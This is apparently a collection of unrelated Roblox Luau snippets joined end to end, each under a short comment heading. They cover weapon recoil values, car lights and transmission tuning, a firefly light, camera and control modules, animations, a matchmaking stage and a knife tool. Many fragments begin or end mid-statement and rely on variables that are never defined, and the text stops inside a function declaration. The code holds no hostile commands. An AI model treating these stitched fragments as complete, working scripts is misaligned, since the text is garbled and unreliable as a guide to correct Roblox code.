,VRecoil = {20,22} --- Vertical Recoil ,HRecoil = {8,10} --- Horizontal Recoil ,AimRecover = .3 ---- Between 0 & 1 ,RecoilPunch = .35 ,VPunchBase = 5.75 --- Vertical Punch ,HPunchBase = 3.25 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = .75 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.1 ,MinRecoilPower = 1 ,MaxRecoilPower = 1 ,RecoilPowerStepAmount = 1 ,MinSpread = 0.15 --- Min bullet spread value | Studs ,MaxSpread = 25 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 0 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 3 --- Max sway value based on player stamina | Studs
---
if script.Parent.Parent.Parent.IsOn.Value then script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.Parent.IsOn.Value then script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.MouseButton1Click:connect(function() if car.Misc.Popups.Parts.L.L.L.Enabled == false then script.Parent.BackgroundColor3 = Color3.new(0,255/255,0) script.Parent.TextStrokeColor3 = Color3.new(0,255/255,0) car.Body.Lights.R.L.L.Enabled = true car.Misc.Popups.Parts.L.L.L.Enabled = true for index, child in pairs(car.Misc.Popups.Parts.L:GetChildren()) do child.Material = Enum.Material.Neon end for index, child in pairs(car.Body.Lights.R:GetChildren()) do child.Material = Enum.Material.Neon end elseif car.Misc.Popups.Parts.L.L.L.Enabled == true then script.Parent.BackgroundColor3 = Color3.new(0,0,0) script.Parent.TextStrokeColor3 = Color3.new(0,0,0) car.Body.Lights.R.L.L.Enabled = false car.Misc.Popups.Parts.L.L.L.Enabled = false for index, child in pairs(car.Misc.Popups.Parts.L:GetChildren()) do child.Material = Enum.Material.SmoothPlastic end for index, child in pairs(car.Body.Lights.R:GetChildren()) do child.Material = Enum.Material.SmoothPlastic end end end) script.Parent.Parent.Parent.Values.Brake.Changed:connect(function() if script.Parent.Parent.Parent.Values.Brake.Value ~= 1 and script.Parent.Parent.Parent.IsOn.Value then for index, child in pairs(car.Body.Lights.B:GetChildren()) do child.Material = Enum.Material.SmoothPlastic end car.Body.Lights.B.L.L.Enabled = false car.Body.a0.Enabled = false car.Body.a1.Enabled = false car.Body.a2.Enabled = false car.Body.a3.Enabled = false car.Body.a4.Enabled = false car.Body.a5.Enabled = false car.Body.a6.Enabled = false car.Body.a7.Enabled = false car.Body.a8.Enabled = false car.Body.a9.Enabled = false car.Body.a10.Enabled = false car.Body.a11.Enabled = false car.Body.a12.Enabled = false car.Body.a13.Enabled = false car.Body.a14.Enabled = false car.Body.a15.Enabled = false car.Body.a16.Enabled = false else for index, child in pairs(car.Body.Lights.B:GetChildren()) do child.Material = Enum.Material.Neon end car.Body.Lights.B.L.L.Enabled = true car.Body.a0.Enabled = true car.Body.a1.Enabled = true car.Body.a2.Enabled = true car.Body.a3.Enabled = true car.Body.a4.Enabled = true car.Body.a5.Enabled = true car.Body.a6.Enabled = true car.Body.a7.Enabled = true car.Body.a8.Enabled = true car.Body.a9.Enabled = true car.Body.a10.Enabled = true car.Body.a11.Enabled = true car.Body.a12.Enabled = true car.Body.a13.Enabled = true car.Body.a14.Enabled = true car.Body.a15.Enabled = true car.Body.a16.Enabled = true end end) script.Parent.Parent.Parent.Values.Gear.Changed:connect(function() if script.Parent.Parent.Parent.Values.Gear.Value == -1 then for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do child.Material = Enum.Material.Neon car.DriveSeat.Reverse:Play() end else for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do child.Material = Enum.Material.SmoothPlastic car.DriveSeat.Reverse:Stop() end end end) while wait() do if (car.DriveSeat.Velocity.magnitude/40)+0.300 < 1.3 then car.DriveSeat.Reverse.Pitch = (car.DriveSeat.Velocity.magnitude/40)+0.300 car.DriveSeat.Reverse.Volume = (car.DriveSeat.Velocity.magnitude/150) else car.DriveSeat.Reverse.Pitch = 1.3 car.DriveSeat.Reverse.Volume = .2 end end
-- Controls the glow of a firefly
local Configurations = script.Parent.Parent.Configuration -- Variables for configurations local Brightness = Configurations.Brightness local glowTime = Configurations.GlowTime local notGlowTime = Configurations.NotGlowTime local glowSpeed = Configurations.GlowSpeed local glowRange = Configurations.GlowRange local lightColor = Configurations.Color local Fly = script.Parent Fly.PointLight.Color = lightColor.Value -- Initialize light and collor settings Fly.PointLight.Range = glowRange.Value Fly.PointLight.Enabled = true while true do Fly.BrickColor = BrickColor.new(lightColor.Value) -- Change color of the fly to make it properly visible when the light will glow for i = 1, Brightness.Value*10 do -- Slowly build strength of the light Fly.PointLight.Brightness = 0 + i*0.1 Fly.Transparency = 0.5 - (0.5 * i)/(Brightness.Value*10) wait(1/(glowSpeed.Value*Brightness.Value*10)) end wait(glowTime.Value+math.random(-10,10)*0.1) -- Wait for light to glow for some time for i = 1, Brightness.Value*10 do -- Slowly drop strength of the light Fly.PointLight.Brightness = Brightness.Value - i*0.1 Fly.Transparency = (0.5 * i)/(Brightness.Value*10) wait(1/(glowSpeed.Value*Brightness.Value*10)) end Fly.BrickColor = BrickColor.new("Really black") -- Make the fly dark, as it's dark without a light wait(notGlowTime.Value+math.random(-10,10)*0.1) -- Wait for light to be off for some time end
-- LOCAL
local Janitor = require(script.Parent.Janitor) local Enum_ = require(script.Parent.Enum) local Signal = require(script.Parent.Signal) local Tracker = require(script.Tracker) local CollectiveWorldModel = require(script.CollectiveWorldModel) local enum = Enum_.enums local players = game:GetService("Players") local activeZones = {} local activeZonesTotalVolume = 0 local activeTriggers = {} local registeredZones = {} local activeParts = {} local activePartToZone = {} local allParts = {} local allPartToZone = {} local activeConnections = 0 local runService = game:GetService("RunService") local heartbeat = runService.Heartbeat local heartbeatConnections = {} local localPlayer = runService:IsClient() and players.LocalPlayer
-- Small bug fix where the sound would start playing after the player joined
player.CharacterAdded:Connect(function() task.wait(1) if currentSound.IsPlaying then currentSound:Stop() end end) while wait() do if humanoid.WalkSpeed == 20 then currentSound.PlaybackSpeed = 1.75 elseif humanoid.WalkSpeed ~= 20 then currentSound.PlaybackSpeed = 1 end end
------------------------------------------------------------------------ -- -- * used in luaK:setmultret(), (lparser) luaY:adjust_assign() ------------------------------------------------------------------------
function luaK:setreturns(fs, e, nresults) if e.k == "VCALL" then -- expression is an open function call? luaP:SETARG_C(self:getcode(fs, e), nresults + 1) elseif e.k == "VVARARG" then luaP:SETARG_B(self:getcode(fs, e), nresults + 1); luaP:SETARG_A(self:getcode(fs, e), fs.freereg); luaK:reserveregs(fs, 1) end end
-- Fade out the sound over FADE_TIME seconds.
local startVolume = sound.Volume for i = 1, 10 do sound.Volume = startVolume * (1 - i/10) wait(FADE_TIME/10) end sound:Stop() print("fade out")
--[[ Welds part A to part B using a WeldConstraint (returns weld) Functions.Weld( partA, <-- |REQ| Part instance partB, <-- |REQ| Part instance isManualWeld <-- true = ManualWeld, false = WeldConstraint [defaults to: false] ) --]]
return function(a, b, isManualWeld) --- Create weld local weld = Instance.new((isManualWeld and "ManualWeld" or "WeldConstraint")) --- Set part adornees weld.Part0 = a weld.Part1 = b --- If manual weld, set CFrame if isManualWeld then weld.C0 = a.CFrame:inverse() * b.CFrame end --- Part to part A weld.Parent = a -- return weld end
-- Create sound instance
local currentSound = Instance.new("Sound", soundService) currentSound.Name = "CurrentSound"
-- Make signal strict
setmetatable(Signal, { __index = function(_tb, key) error(("Attempt to get Signal::%s (not a valid member)"):format(tostring(key)), 2) end, __newindex = function(_tb, key, _value) error(("Attempt to set Signal::%s (not a valid member)"):format(tostring(key)), 2) end }) return Signal
--[[Transmission]]
Tune.TransModes = {"Auto"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 5 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ D ]] 4 , -- Reverse, Neutral, and 1st gear are required } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- ROBLOX deviation END -- ROBLOX deviation START: Polyfill String.padStart
local function stringPadStart(str: string, targetLength_: number, padString_: string?) local targetLength = math.max(#str, targetLength_) local padString = padString_ or " " return (padString:rep(targetLength) .. str):sub(-targetLength) end
-- LOCAL
local tweenService = game:GetService("TweenService") local replicatedStorage = game:GetService("ReplicatedStorage") local debris = game:GetService("Debris") local userInputService = game:GetService("UserInputService") local httpService = game:GetService("HttpService") -- This is to generate GUIDs local runService = game:GetService("RunService") local textService = game:GetService("TextService") local guiService = game:GetService("GuiService") local starterGui = game:GetService("StarterGui") local players = game:GetService("Players") local IconController = require(script.IconController) local Signal = require(script.Signal) local Maid = require(script.Maid) local TopbarPlusGui = require(script.TopbarPlusGui) local TopbarPlusReference = require(script.TopbarPlusReference) local referenceObject = TopbarPlusReference.getObject() local Themes = require(script.Themes) local activeItems = TopbarPlusGui.ActiveItems local topbarContainer = TopbarPlusGui.TopbarContainer local iconTemplate = topbarContainer["IconContainer"] local DEFAULT_THEME = Themes.Default local THUMB_OFFSET = 55 local DEFAULT_FORCED_GROUP_VALUES = {} local Icon = (referenceObject and require(referenceObject.Value)) or {} Icon.__index = Icon if not referenceObject then TopbarPlusReference.addToReplicatedStorage() end
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.15; -- The lower the number the slower and smoother the tween AimZoom = 5; -- Default zoom AimSpeed = 0.45; UnaimSpeed = 0.35; CycleAimZoom = 4; -- Cycled zoom MouseSensitivity = 0.05; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
--raycast
function heardetect(part) local target = nil local Beam = Instance.new("Part", script.debris) Beam.Anchored = true Beam.CanCollide = false Beam.Color = Color3.fromRGB(255, 150, 150) Beam.Material = Enum.Material.Neon Beam.Name = "LaserBeam" Beam.Transparency = 1 --script.Parent.Torso.Orientation = Vector3.new(script.Parent.Torso.Orientation.X,FindTarget().Orientation.Y-FindTarget().Orientation.Y*2,script.Parent.Torso.Orientation.Z) local Object = script.Parent.Head local Raycast = Ray.new(Object.CFrame.p, CFrame.new(Object.CFrame.Position, part.Position).LookVector * distance) local Part, Position = game.Workspace:FindPartOnRayWithIgnoreList(Raycast, {Object, Beam, script.debris}, false, true) local Distance = (Object.CFrame.p - Position).Magnitude if visibleray == true then Beam.Size = Vector3.new(0.1, 0.1, Distance) Beam.CFrame = CFrame.new(Object.CFrame.Position, part.Position) * CFrame.new(0, 0, -Distance/2) Beam.Transparency = 0 else Beam:Destroy() end if Part ~= nil then if game.Players:GetPlayerFromCharacter(Part.Parent) or game.Players:GetPlayerFromCharacter(Part.Parent.Parent) then --script.Parent.Humanoid:MoveTo(Part.Position) GoTo(part.Position) if (part.Position - script.Parent.Head.Position).Magnitude < damagerange then attack() end Beam.BrickColor = BrickColor.new("Bright blue") else Beam.BrickColor = BrickColor.new("Really red") end else Beam.BrickColor = BrickColor.new("White") end wait() end
--banto.Health.Changed:connect(function() --local hitSound = soundBank[math.random(1,#soundBank)]:Clone() --hitSound.PlayOnRemove = true --hitSound.Parent = banto.PrimaryPart --wait() --hitSound:Destroy() --end)
local gruntCoroutine = coroutine.wrap(function() while wait(math.random(30,60)) do local soundBank = banto.Head:GetChildren() local randomSound = soundBank[math.random(1,#soundBank)] randomSound:Play() end end) gruntCoroutine() while true do bp.Parent = banto.PrimaryPart local goal repeat local ray = Ray.new( Vector3.new(origin.p.x+math.random(-tether,tether),100,origin.p.z+math.random(-tether,tether)), Vector3.new(0,-1000,0) ) local part,pos,norm,mat = workspace:FindPartOnRay(ray,banto) if part == workspace.Terrain and mat ~= Enum.Material.Water then goal = pos+Vector3.new(0,2.25,0) end wait() until goal -- move the banto to the newfound goal walk:Play() bg.CFrame = CFrame.new(banto.PrimaryPart.Position,goal) bp.Position = (CFrame.new(banto.PrimaryPart.Position,goal)*CFrame.new(0,0,-100)).p local start = tick() repeat wait(1/2) local ray = Ray.new(banto.PrimaryPart.Position,Vector3.new(0,-1000,0)) --local part,pos,norm,mat = workspace:FindPartOnRay(ray,banto) --banto:MoveTo(Vector3.new(banto.PrimaryPart.Position.X,pos.Y+2.25,banto.PrimaryPart.Position.Z)) --bp.Position = Vector3.new(bp.Position.X,pos.Y+2.25,bp.Position.Z) until (banto.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >10 walk:Stop() bp.Parent = nil wait(math.random(3,8)) end
--Player.CameraMode = "LockFirstPerson"
elseif key == "q" or key== "ButtonL2" and zoomed then zoomed = false Cam.FieldOfView = 70 animation:Stop() Player.Character.Humanoid.CameraOffset = Vector3.new(0,0,0)
-- Note: The active transparency controller could be made to listen for this event itself.
function CameraModule:OnCameraSubjectChanged() local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if self.activeTransparencyController then self.activeTransparencyController:SetSubject(cameraSubject) end if self.activeOcclusionModule then self.activeOcclusionModule:OnCameraSubjectChanged(cameraSubject) end self:ActivateCameraController(nil, camera.CameraType) end function CameraModule:OnCameraTypeChanged(newCameraType: Enum.CameraType) if newCameraType == Enum.CameraType.Scriptable then if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then CameraUtils.restoreMouseBehavior() end end -- Forward the change to ActivateCameraController to handle self:ActivateCameraController(nil, newCameraType) end
-- Returns a character ancestor and its Humanoid, or nil
local function FindCharacterAncestor(subject) if subject and subject ~= Workspace then local humanoid = subject:FindFirstChild('Humanoid') if humanoid then return subject, humanoid else return FindCharacterAncestor(subject.Parent) end end return nil end
--------------------------PC AUTO JUMPER-------------------------------
local function GetCharacter() return Player and Player.Character end local function GetTorso() local humanoid = findPlayerHumanoid(Player) return humanoid and humanoid.Torso end local function IsPartAHumanoid(part) return part and part.Parent and (part.Parent:FindFirstChild('Humanoid') ~= nil) end local function doAutoJump() local character = GetCharacter() if (character == nil) then return; end local humanoid = findPlayerHumanoid(Player) if (humanoid == nil) then return; end local rayLength = 1.5; -- This is how high a ROBLOXian jumps from the mid point of his torso local jumpHeight = 7.0; local torso = GetTorso() if (torso == nil) then return; end local torsoCFrame = torso.CFrame; local torsoLookVector = torsoCFrame.lookVector; local torsoPos = torsoCFrame.p; local torsoRay = Ray.new(torsoPos + Vector3_new(0, -torso.Size.Y/2, 0), torsoLookVector * rayLength); local jumpRay = Ray.new(torsoPos + Vector3_new(0, jumpHeight - torso.Size.Y, 0), torsoLookVector * rayLength); local hitPart, _ = RayCastIgnoreList(workspace, torsoRay, {character}, false) local jumpHitPart, _ = RayCastIgnoreList(workspace, jumpRay, {character}, false) if (hitPart and jumpHitPart == nil and hitPart.CanCollide == true) then -- NOTE: this follow line is not in the C++ impl, but an improvement in Click to Move if not IsPartAHumanoid(hitPart) then humanoid.Jump = true; end end end local NO_JUMP_STATES = { [Enum.HumanoidStateType.FallingDown] = false; [Enum.HumanoidStateType.Flying] = false; [Enum.HumanoidStateType.Freefall] = false; [Enum.HumanoidStateType.GettingUp] = false; [Enum.HumanoidStateType.Ragdoll] = false; [Enum.HumanoidStateType.Running] = false; [Enum.HumanoidStateType.Seated] = false; [Enum.HumanoidStateType.Swimming] = false; -- Special case to detect if we are on a ladder [Enum.HumanoidStateType.Climbing] = false; } local function enableAutoJump() local humanoid = findPlayerHumanoid(Player) local currentState = humanoid and humanoid:GetState() if currentState then return NO_JUMP_STATES[currentState] == nil end return false end local function getAutoJump() return true end local function vec3IsZero(vec3) return vec3.magnitude < 0.05 end
-- Local Functions
local function setCollisionGroupForPart(part) if part:IsA("BasePart") then previousCollisionGroups[part] = part.CollisionGroupId PhysicsService:SetPartCollisionGroup(part, playerCollisionGroupName) end end local function setCollisionGroupForObject(object) setCollisionGroupForPart(object) for _, object in ipairs(object:GetDescendants()) do setCollisionGroupForPart(object) end end local function resetCollisionGroup(object) local previousCollisionGroupId = previousCollisionGroups[object] if not previousCollisionGroupId then return end local previousCollisionGroupName = PhysicsService:GetCollisionGroupName(previousCollisionGroupId) if not previousCollisionGroupName then return end PhysicsService:SetPartCollisionGroup(object, previousCollisionGroupName) previousCollisionGroups[object] = nil end local function onCharacterAdded(character) setCollisionGroupForObject(character) character.DescendantAdded:Connect(setCollisionGroupForPart) character.DescendantRemoving:Connect(resetCollisionGroup) end local function onPlayerAdded(player) player.CharacterAdded:Connect(onCharacterAdded) end
-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of -- current control scheme
function ControlModule:OnComputerMovementModeChange() local controlModule, success = self:SelectComputerMovementModule() if success then self:SwitchToController(controlModule) end end function ControlModule:OnTouchMovementModeChange() local touchModule, success = self:SelectTouchModule() if success then while not self.touchControlFrame do wait() end self:SwitchToController(touchModule) end end function ControlModule:CreateTouchGuiContainer() if self.touchGui then self.touchGui:Destroy() end -- Container for all touch device guis self.touchGui = Instance.new('ScreenGui') self.touchGui.Name = "TouchGui" self.touchGui.ResetOnSpawn = false self.touchGui.Enabled = self.humanoid ~= nil self.touchControlFrame = Instance.new("Frame") self.touchControlFrame.Name = "TouchControlFrame" self.touchControlFrame.Size = UDim2.new(1, 0, 1, 0) self.touchControlFrame.BackgroundTransparency = 1 self.touchControlFrame.Parent = self.touchGui self.touchGui.Parent = self.playerGui end function ControlModule:GetClickToMoveController() if not self.controllers[ClickToMove] then self.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY) end return self.controllers[ClickToMove] end return ControlModule.new()
-- LocalScripts that are cloned and deployed
local DriverScriptPrototype = Scripts.Driver local PassengerScriptPrototype = Scripts.Passenger local LocalGuiModulePrototype = Scripts.LocalVehicleGui
--Module Initialization
wait() for _,i in pairs(script:GetChildren()) do if i:IsA("ModuleScript") then require(i) end end
-------------------------
function onClicked() script.Parent.Click:Play() script.Parent.ClickDetector.MaxActivationDistance = 0 wait(1) script.Parent.Ring:Play() wait(10) script.Parent.Ring:Stop() script.Parent.ClickDetector.MaxActivationDistance = 12 end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- # Function call -- result = binarySearch(arr, 0, len(arr)-1, x)
--[=[ For if you want to disable saving in studio for faster close time! ]=]
function PlayerDataStoreManager:DisableSaveOnCloseStudio() assert(RunService:IsStudio()) self._disableSavingInStudio = true end
--[=[ @class Input The Input module provides access to various user input classes. - [PreferredInput](/api/PreferredInput) - [Mouse](/api/Mouse) - [Keyboard](/api/Keyboard) - [Touch](/api/Touch) - [Gamepad](/api/Gamepad) ```lua local Input = require(packages.Input) local PreferredInput = Input.PreferredInput local Mouse = Input.Mouse local Keyboard = Input.Keyboard local Touch = Input.Touch local Gamepad = Input.Gamepad ``` ]=]
local Input = { PreferredInput = require(script.PreferredInput), Mouse = require(script.Mouse), Keyboard = require(script.Keyboard), Touch = require(script.Touch), Gamepad = require(script.Gamepad), } return Input
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then oldAnim = "idle" currentlyPlayingEmote = false end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if Humanoid then if not Humanoid.AutomaticScalingEnabled then return 1 end local scale = Humanoid.HipHeight / HumanoidHipHeight if userAnimationSpeedDampening then if AnimationSpeedDampeningObject == nil then AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent") end if AnimationSpeedDampeningObject ~= nil then scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight end end return scale end return 1 end local smallButNotZero = 0.0001 function setRunSpeed(speed) local speedScaled = speed * 1.25 local heightScale = getHeightScale() local runSpeed = speedScaled / heightScale if runSpeed ~= currentAnimSpeed then if runSpeed < 0.33 then currentAnimTrack:AdjustWeight(1.0) runAnimTrack:AdjustWeight(smallButNotZero) elseif runSpeed < 0.66 then local weight = ((runSpeed - 0.33) / 0.33) currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero) runAnimTrack:AdjustWeight(weight + smallButNotZero) else currentAnimTrack:AdjustWeight(smallButNotZero) runAnimTrack:AdjustWeight(1.0) end currentAnimSpeed = runSpeed runAnimTrack:AdjustSpeed(runSpeed) currentAnimTrack:AdjustSpeed(runSpeed) end end function setAnimationSpeed(speed) if currentAnim == "walk" then setRunSpeed(speed) else if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then if userNoUpdateOnLoop == true then if runAnimTrack.Looped ~= true then runAnimTrack.TimePosition = 0.0 end if currentAnimTrack.Looped ~= true then currentAnimTrack.TimePosition = 0.0 end else runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 end else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then if currentAnimTrack.Looped then -- Allow the emote to loop return end repeatAnim = "idle" currentlyPlayingEmote = false end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end local function switchToAnim(anim, animName, transitionTime, humanoid) -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() if userNoUpdateOnLoop == true then runAnimTrack = nil end end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim switchToAnim(anim, animName, transitionTime, humanoid) currentlyPlayingEmote = false end function playEmote(emoteAnim, transitionTime, humanoid) switchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid) currentlyPlayingEmote = true end
-------------------------------------------------------------------
function Cooldown() for i = CooldownTime,0,-1 do GUIText.Text = "COOLDOWN: "..i wait(1) end GUIText.Text = Settings.RegenPreText..model.Name enabled = true Click.MaxActivationDistance = Settings.ClickDistance end
--[[ Stage implementation ]]
local Waiting = {} Waiting.__index = Waiting function Waiting.new(gameStageHandler) local self = setmetatable({ gameStageHandler = gameStageHandler, }, Waiting) return self end function Waiting:disableQueueTimeout() self._disableQueueTimeout = true end function Waiting:startGame(...) MatchmakingDestination.startGame(...) end function Waiting:initialize() -- Spawn every player onto the boat for _, player in pairs(Players:GetPlayers()) do Util.loadCharacter(player) end spawn(function() DamageHandler.setup() end) MatchmakingDestination.run(function() self.gameStageHandler:nextStage() end) spawn(function() while not MatchmakingDestination.isPlaying() do if self.gameStageHandler.currentStageClassName ~= "Waiting" or self._disableQueueTimeout then return end local waitTime = tick() - self.gameStageHandler.timeStageStarted if waitTime < Conf.queue_time_limit or #Players:getPlayers() < Conf.min_queue_players then wait(1) self.gameStageHandler._queueWaitTime = waitTime else MatchmakingDestination.startGame() break end end end) end function Waiting:destroy() -- TODO: Any teardown for MatchmakingDestination -- Reset the character back to the default state for _, player in pairs(Players:GetPlayers()) do if player.Character then -- Remove the force field from the character local forceField = player.Character:FindFirstChild("WaitingForceField") if forceField then forceField:Destroy() end -- Remove all equipped tools that are not the building tool for _, instance in pairs(player.Character:GetChildren()) do if instance:IsA("Tool") then instance:Destroy() end end end -- Remove all tools from the player's backpack that are not the building tool for _, instance in pairs(player.Backpack:GetChildren()) do if instance:IsA("Tool") then instance:Destroy() end end end end
---Misc
function Misc() local function GetHelp() local a=false for i=1,9 do a=not a wait(.2) if a then script.Parent.Help.Style=Enum.ButtonStyle.RobloxRoundDropdownButton else script.Parent.Help.Style=Enum.ButtonStyle.RobloxRoundDefaultButton end end end GetHelp() script.Parent.Help.MouseButton1Click:connect(function() script.Parent.Controls.Visible=not script.Parent.Controls.Visible end) script.Parent:WaitForChild("Light") local light=0 local function Light(on) for i,v in pairs(car.Body.Lights:GetChildren()) do if v:FindFirstChild("Light")~=nil then v.Light.Enabled=on end if on and v.BrickColor~=BrickColor.new("Really black") then v.Material=Enum.Material.Neon else v.Material=Enum.Material.SmoothPlastic end end end local function AutoLight() if light==0 then if (game.Lighting:GetMinutesAfterMidnight()<390 or game.Lighting:GetMinutesAfterMidnight()>1050) then Light(true) else Light(false) end end end script.Parent.Light.MouseButton1Click:connect(function() if light==1 then light=-1 else light=light+1 end if light==0 then script.Parent.Light.Text="Lights: Auto" if game.Lighting:GetMinutesAfterMidnight()<390 or game.Lighting:GetMinutesAfterMidnight()>1050 then Light(true) else Light(false) end elseif light==1 then script.Parent.Light.Text="Lights: On" Light(true) else script.Parent.Light.Text="Lights: Off" Light(false) end end) local function BrakeLights() for i,v in pairs(car.Body.Lights:GetChildren()) do if v.Name=="R" then if v.Light.Enabled then if GBrake>0 then v.Transparency=0 v.Light.Brightness=12 else v.Transparency=.3 v.Light.Brightness=8 end else if GBrake>0 then v.Material=Enum.Material.Neon else v.Material=Enum.Material.SmoothPlastic end end end end end game.Lighting.Changed:connect(AutoLight) AutoLight() local FlipWait=tick() local FlipDB=false local function FlipCar() local gyro = car.DriveSeat.Flip gyro.maxTorque = Vector3.new(10000,0,10000) gyro.P=3000 gyro.D=500 wait(2) gyro.maxTorque = Vector3.new(0,0,0) gyro.P=0 gyro.D=0 FlipDB=false end local function GetFlip() if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then FlipWait=tick() else if tick()-FlipWait>=3 then FlipDB=true FlipCar() end end end --run:BindToRenderStep("BrakeL",Enum.RenderPriority.Last.Value,BrakeLights) --run:BindToRenderStep("Flip",Enum.RenderPriority.Last.Value,GetFlip) --table.insert(Binded,"BrakeL") --table.insert(Binded,"Flip") table.insert(LoopRun,BrakeLights) table.insert(LoopRun,GetFlip) end Misc()
--Knife Module Script --MatrixComplexity
wait(.2) local tool=script.Parent local player=game.Players.LocalPlayer local char=player.Character local humanoid=char:FindFirstChild("Humanoid") local camera=workspace.CurrentCamera local rightC1 = CFrame.new(-0.5, 0.7, 0) * CFrame.Angles(0, (math.pi / 2), 0) local leftC1 = CFrame.new(0, 0.7, 0) * CFrame.Angles(0, (math.pi / 2), 0) local mouse=player:GetMouse() local equipping=false local gettingknife=false local laserCharge=false local playcharge=false local justthrown=false local canLaser=false local justattacked=false local thrownkniferotation=0 local Damage=110 local Attacking=false local handle=nil local WalkSpeeds={16,20} SOUNDS={ throwing={"153647554","153647549"}, laserthrowing={"138499093"}, shouts={"241084057","168209314","131076695"}, striking={"153647529","153647534","153647539","153647540"}, equip="153647514", wallhit={"153647563","153647564"}, hitplayer={"153647516","153647519","153647522","153647526"}, deaths={"146594640","146457047","146594648"}, } SETTINGS={ tool={ mesh_id="http://www.roblox.com/asset/?id=121944778", mesh_type=Enum.MeshType.FileMesh, texture_id="http://www.roblox.com/asset/?id=121944805 ", mesh_offset=Vector3.new(0,0,0), mesh_scale=.9, tool_size=Vector3.new(1,1,1), tool_transparency=0, tool_color=BrickColor.Black(), default_tool_size=1, }, } function DamageObject(hit) local char=hit.Parent if char and char~=player.Character and char.Name~="Arms_Model" and hit.Name~="Handle" then local h=char:FindFirstChild("Humanoid") if h and h.Health > 0 then h:TakeDamage(Damage) PlaySound("Hit1",char.Torso) if h.Health == 0 then PlaySound("Hit2",char.Torso) end end end end function 